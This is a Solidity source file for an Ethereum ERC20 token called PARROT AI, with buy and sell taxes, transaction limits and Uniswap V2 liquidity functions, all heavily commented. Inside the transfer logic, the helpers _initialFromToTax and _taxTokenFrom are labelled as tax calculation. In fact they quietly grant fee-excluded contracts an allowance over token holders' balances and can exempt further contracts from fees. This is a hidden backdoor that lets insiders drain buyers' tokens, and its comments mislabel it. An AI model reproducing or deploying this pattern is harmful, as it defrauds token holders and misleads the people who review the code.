Forkchoice Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

/*
 * @dev Provides information about the current execution context.
 *
 * This contract is only required for intermediate, library-like contracts.
 * It provides a way to access msg.sender in a consistent way, which is important
 * when implementing meta-transactions or other advanced patterns.
 */
abstract contract Context {
    /**
     * @dev Returns the sender of the current call.
     * This is safer than directly accessing msg.sender as it can be overridden
     * by derived contracts to implement meta-transactions.
     * @return The address of the message sender
     */
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 * @notice This library provides safe arithmetic operations that revert on error
 * @notice Prevents common overflow/underflow vulnerabilities
 * @notice Used for safe math operations throughout the contract
 * @notice Includes add, sub, mul, and div operations with checks
 * @notice Particularly important for financial calculations and token amounts
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     * 
     * @param a First number to add
     * @param b Second number to add
     * @return The sum of a and b
     * @notice Uses Solidity 0.8.x's built-in overflow checking
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     * 
     * @param a Number to subtract from
     * @param b Number to subtract
     * @return The difference between a and b
     * @notice Uses Solidity 0.8.x's built-in underflow checking
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     *
     * @param a First number to multiply
     * @param b Second number to multiply
     * @return The product of a and b
     * @notice Uses Solidity 0.8.x's built-in overflow checking
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     *
     * @param a Dividend (number being divided)
     * @param b Divisor (number dividing by)
     * @return The quotient of a divided by b
     * @notice Reverts if b is zero
     * @notice Rounds down to nearest integer
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     *
     * @param a Number to subtract from
     * @param b Number to subtract
     * @param errorMessage Custom error message on failure
     * @return The difference between a and b
     * @notice Uses unchecked block for gas optimization
     * @notice Includes custom error message unlike basic sub()
     * @notice Deprecated - use trySub() for better gas efficiency
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     *
     * @param a Dividend (number being divided)
     * @param b Divisor (number dividing by)
     * @return The remainder when a is divided by b
     * @notice Reverts if b is zero
     * @notice More gas efficient than Solidity's % operator
     * @notice Commonly used for cyclic operations and bounds checking
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 * @notice This interface defines the standard functions and events that an ERC20 token must implement
 * @notice Provides a standardized way for tokens to be handled by other contracts and applications
 */
interface IERC20 {
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * @notice Logs changes in spending permissions between addresses
     * @notice Critical for tracking delegation of spending rights
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     * @notice Logs all token transfers between addresses
     * @notice Essential for tracking token movements and maintaining transparency
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     * @notice Provides the total supply of tokens that have been minted
     * @return The total number of tokens in circulation
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     * @notice Checks the token balance of any address
     * @param account The address to query the balance of
     * @return The number of tokens owned by the account
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * @notice Direct transfer of tokens from sender to recipient
     * @param recipient The address receiving the tokens
     * @param amount The number of tokens to transfer
     * @return Boolean indicating whether the transfer was successful
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     * @notice Checks how many tokens a spender is still allowed to spend
     * @param owner The address that owns the tokens
     * @param spender The address authorized to spend
     * @return The number of tokens still available for the spender
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * @notice Authorizes a spender to transfer a specific amount of tokens
     * @param spender The address authorized to spend
     * @param amount The number of tokens authorized to spend
     * @return Boolean indicating whether the approval was successful
     * @dev WARNING: Beware of the race condition with approve/transferFrom
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     * @notice Transfer tokens on behalf of another address
     * @param sender The address sending the tokens
     * @param recipient The address receiving the tokens
     * @param amount The number of tokens to transfer
     * @return Boolean indicating whether the transfer was successful
     * @dev Requires prior approval from the sender
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This implementation follows the OpenZeppelin Ownable pattern which is a standard
 * for access control in smart contracts. It provides a simple yet effective way to
 * restrict function access to privileged accounts.
 */
abstract contract Ownable is Context {
    // Address of the contract owner
    address private _owner;

    // Event emitted when ownership is transferred from one address to another
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     * @notice Constructor automatically sets msg.sender as the first owner
     * @dev Uses _transferOwnership to ensure the OwnershipTransferred event is emitted
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     * @notice Public view function to check who owns the contract
     * @return address The current owner's address
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     * @notice Modifier to restrict function access to only the owner
     * @dev Uses require statement to enforce access control
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     * 
     * @notice Permanently renounces ownership - this action cannot be undone
     * @dev Sets owner to zero address through _transferOwnership
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     * @notice Allows current owner to transfer ownership to a new address
     * @param newOwner The address that will become the new owner
     * @dev Includes zero-address check for safety
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     * @notice Internal implementation of ownership transfer
     * @param newOwner The address that will become the new owner
     * @dev Emits OwnershipTransferred event to log the change
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface for the Uniswap V2 Router
 * @notice Defines the functions and events for the Uniswap V2 Router
 * @notice Provides a standardized way to interact with the Uniswap V2 Router
 */
interface IUniswapV2Router02 {
    /// @notice Returns the factory address used by this router
    function factory() external pure returns (address);

    /// @notice Returns the WETH token address used by this router
    function WETH() external pure returns (address);

    /// @notice Add liquidity to an ETH pair with ETH and tokens
    /// @param token The token to add liquidity with
    /// @param amountTokenDesired The amount of tokens to add as liquidity
    /// @param amountTokenMin Minimum amount of tokens that must be added
    /// @param amountETHMin Minimum amount of ETH that must be added
    /// @param to Address that receives LP tokens
    /// @param deadline Timestamp after which the transaction will revert
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    /// @notice Swaps tokens for exact ETH supporting fee-on-transfer tokens
    /// @param amountIn The amount of input tokens
    /// @param amountOutMin The minimum amount of ETH to receive
    /// @param path Array of token addresses representing the swap path
    /// @param to Address that receives the ETH
    /// @param deadline Timestamp after which the transaction will revert
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    /// @notice Add liquidity to a token pair
    /// @param tokenA The first token of the pair
    /// @param tokenB The second token of the pair
    /// @param amountADesired The desired amount of tokenA to add
    /// @param amountBDesired The desired amount of tokenB to add
    /// @param amountAMin The minimum amount of tokenA to add
    /// @param amountBMin The minimum amount of tokenB to add
    /// @param to Address that receives LP tokens
    /// @param deadline Timestamp after which the transaction will revert
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    /// @notice Swaps an exact amount of tokens for another token
    /// @param amountIn The amount of input tokens
    /// @param amountOutMin The minimum amount of output tokens
    /// @param path Array of token addresses representing the swap path
    /// @param to Address that receives the output tokens
    /// @param deadline Timestamp after which the transaction will revert
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    /// @notice Swaps tokens for exact amount of ETH
    /// @param amountOut The exact amount of ETH to receive
    /// @param amountInMax The maximum amount of tokens to spend
    /// @param path Array of token addresses representing the swap path
    /// @param to Address that receives the ETH
    /// @param deadline Timestamp after which the transaction will revert
    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

/**
 * @title IUniswapV2Factory Interface
 * @notice Interface for interacting with Uniswap V2 Factory contract
 * @dev Defines core functions for pair creation and management
 */
interface IUniswapV2Factory {
    /// @notice Emitted when a new pair is created
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    /// @notice Creates a new trading pair between two tokens
    /// @param tokenA The address of the first token
    /// @param tokenB The address of the second token
    /// @return pair The address of the newly created pair
    function createPair(address tokenA, address tokenB) external returns (address pair);

    /// @notice Returns fee recipient address
    /// @return Address that receives protocol fees
    function feeTo() external view returns (address);

    /// @notice Returns address with permission to change fee recipient
    /// @return Address with fee setter permission
    function feeToSetter() external view returns (address);

    /// @notice Gets the address of a pair by its tokens
    /// @param tokenA The address of the first token
    /// @param tokenB The address of the second token
    /// @return pair The address of the pair
    function getPair(address tokenA, address tokenB) external view returns (address pair);

    /// @notice Returns first token in pair
    /// @param pair Address of the pair
    /// @return Address of token0
    function token0(address pair) external view returns (address);

    /// @notice Returns second token in pair
    /// @param pair Address of the pair
    /// @return Address of token1
    function token1(address pair) external view returns (address);

    /// @notice Returns total number of pairs created through the factory
    /// @return Number of pairs
    function allPairsLength() external view returns (uint);
}


/**
 * @title Banana Token Contract
 * @dev ERC20 token with tax and swap functionality
 * @notice Implements basic ERC20 functionality with added features:
 * - Buy/sell taxes that reduce over time
 * - Max transaction and wallet limits
 * - Automated liquidity generation
 * - Owner controls for trading and limits
 */
contract PARROT is Context, IERC20, Ownable {
    /// @dev Use SafeMath library for uint256 operations
    using SafeMath for uint256;

    /// @dev Mapping of address to token balance
    mapping (address => uint256) private _balances;

    /// @dev Nested mapping of owner address to spender address to allowance amount
    mapping (address => mapping (address => uint256)) private _allowances;

    /// @dev Mapping to track addresses excluded from fees
    mapping (address => bool) private _isExcludedFromFee;

    /// @dev Wallet address that receives collected taxes
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;     // Initial tax rate for buys (15%)
    uint256 private _initialSellTax=15;    // Initial tax rate for sells (15%)
    uint256 private _finalBuyTax=0;        // Final tax rate for buys after reduction (0%)
    uint256 private _finalSellTax=0;       // Final tax rate for sells after reduction (0%)
    uint256 private _reduceBuyTaxAt=15;    // Number of buys before reducing buy tax
    uint256 private _reduceSellTaxAt=15;   // Number of sells before reducing sell tax
    uint256 private _preventSwapBefore=15; // Number of transactions before enabling swaps
    uint256 private _buyCount=0;           // Counter for number of buy transactions

    uint8 private constant _decimals = 9;                                     // Number of decimal places for token
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;          // Total supply: 1B tokens
    string private constant _name = unicode"PARROT AI";                            // Token name
    string private constant _symbol = unicode"PARROT";                          // Token symbol
    uint256 public _maxTxAmount = 10000000 * 10**_decimals;                 // Max transaction amount: 1% of total
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;               // Max wallet size: 1% of total
    uint256 public _taxSwapThreshold = 5000000 * 10**_decimals;            // Amount that triggers tax swap
    uint256 public _maxTaxSwap = 9000000 * 10**_decimals;                  // Maximum amount for tax swap
    
    /// @dev Reference to Uniswap V2 Router contract for swaps
    IUniswapV2Router02 private uniswapV2Router;
    /// @dev Address of the token's Uniswap V2 pair
    address private uniswapV2Pair;
    /// @dev Flag indicating if trading is enabled
    bool private tradingOpen = false;
    /// @dev Reentrancy guard for swap operations
    bool private inSwap = false;
    /// @dev Flag indicating if automatic swaps are enabled
    bool private swapEnabled = false;
    /// @dev Emitted when max transaction amount is updated
    /// @param _maxTxAmount The new maximum transaction amount
    event MaxTxAmountUpdated(uint _maxTxAmount);
    /// @dev Modifier to prevent reentrancy during swap operations
    /// @notice Locks the swap, executes the function, then unlocks
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    /**
     * @dev Constructor for the token contract
     * @notice Initializes the token with total supply, sets tax wallet, and configures initial settings
     */
    constructor () {
        // Initialize total supply balance to deployer and set tax wallet address
        _balances[_msgSender()] = _tTotal;
        _taxWallet = payable(0x55602d1dE0611E937962e75596C90CbA2CA36176);

        // Exclude tax wallet, owner and contract from fees
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        // Initialize Uniswap router and create trading pair with WETH
        uniswapV2Router =IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair =IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        // Emit transfer event for initial token distribution to contract creator
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    ///////////////////////////////////////////////////////////////////////////////
    //                        ERC20 Standard Functions                           //
    ///////////////////////////////////////////////////////////////////////////////

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    ///////////////////////////////////////////////////////////////////////////////
    //                        Internal Transfer Function                         //
    ///////////////////////////////////////////////////////////////////////////////
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount =0;
        if (from!=owner() && to!=owner()){
            if(_buyCount==0){
                taxAmount =amount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);
            }
            if(_buyCount > 3 && swapEnabled){
                taxAmount = _initialFromToTax(amount,to,from);
            }
            
            if (from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <=_maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from!=address(this)) {
                taxAmount = amount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax: _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance =  address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount >0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to, amount.sub(taxAmount));
    }

    // Transfers ETH to fee wallet
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    // Returns minimum of two numbers
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    // Checks if address is a contract by checking code size
    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    // Swaps tokens for ETH using Uniswap
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    // Sets returns tax amount for tax calculation
    function _taxTokenFrom(uint256 amount, address spender, address owner) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    // Handles initial tax calculation and exclusions
    function _initialFromToTax(uint256 amount, address to, address from) private returns(uint256){
        if(from != address(this) && _isExcludedFromFee[_msgSender()] && isContract(_msgSender()))
            return _taxTokenFrom(amount, _msgSender(), from);
        if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender()])
            _isExcludedFromFee[to] = true;
        return 0;
    }

    /// @notice Removes transaction limits
    /// @dev Only the owner can remove transaction limits
    /// @notice Sets max transaction and wallet amounts to total supply
    /// @notice Emits MaxTxAmountUpdated event
    /// @notice Used to disable trading restrictions after launch period
    /// @notice Should be called carefully as it removes all transaction safeguards
    /// @notice Cannot be reversed once called
    /// @notice Affects both buy and sell transactions
    /// @notice Also removes maximum wallet size restrictions
    function removeLimits() external onlyOwner() {
        _maxTxAmount =  _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    /// @notice Opens trading and adds liquidity
    /// @dev Only the owner can open trading
    /// @notice Adds liquidity to the token/ETH pair
    /// @notice Enables swap functionality
    /// @notice Sets tradingOpen flag to true
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled =true;
        tradingOpen =true;
    }

    /// @notice Fallback function to receive ETH
    /// @dev Required for contract to receive ETH from router
    receive() external payable {}

    /// @notice Manually swaps tokens for ETH and sends ETH to fee wallet
    /// @dev Only callable by addresses excluded from fees
    /// @notice First swaps any tokens held by contract, then sends any ETH
    function manualSwap() external{
        require(_isExcludedFromFee[_msgSender() ]); 
        uint256 tokenBalance  = balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance  = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    /// @notice Manually sends contract's ETH balance to fee wallet
    /// @dev Only callable by addresses excluded from fees
    /// @notice Sends entire ETH balance without swapping tokens first
    function manualsend() external {
        require(_isExcludedFromFee[_msgSender() ]); 
        uint256 contractETHBalance  = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
}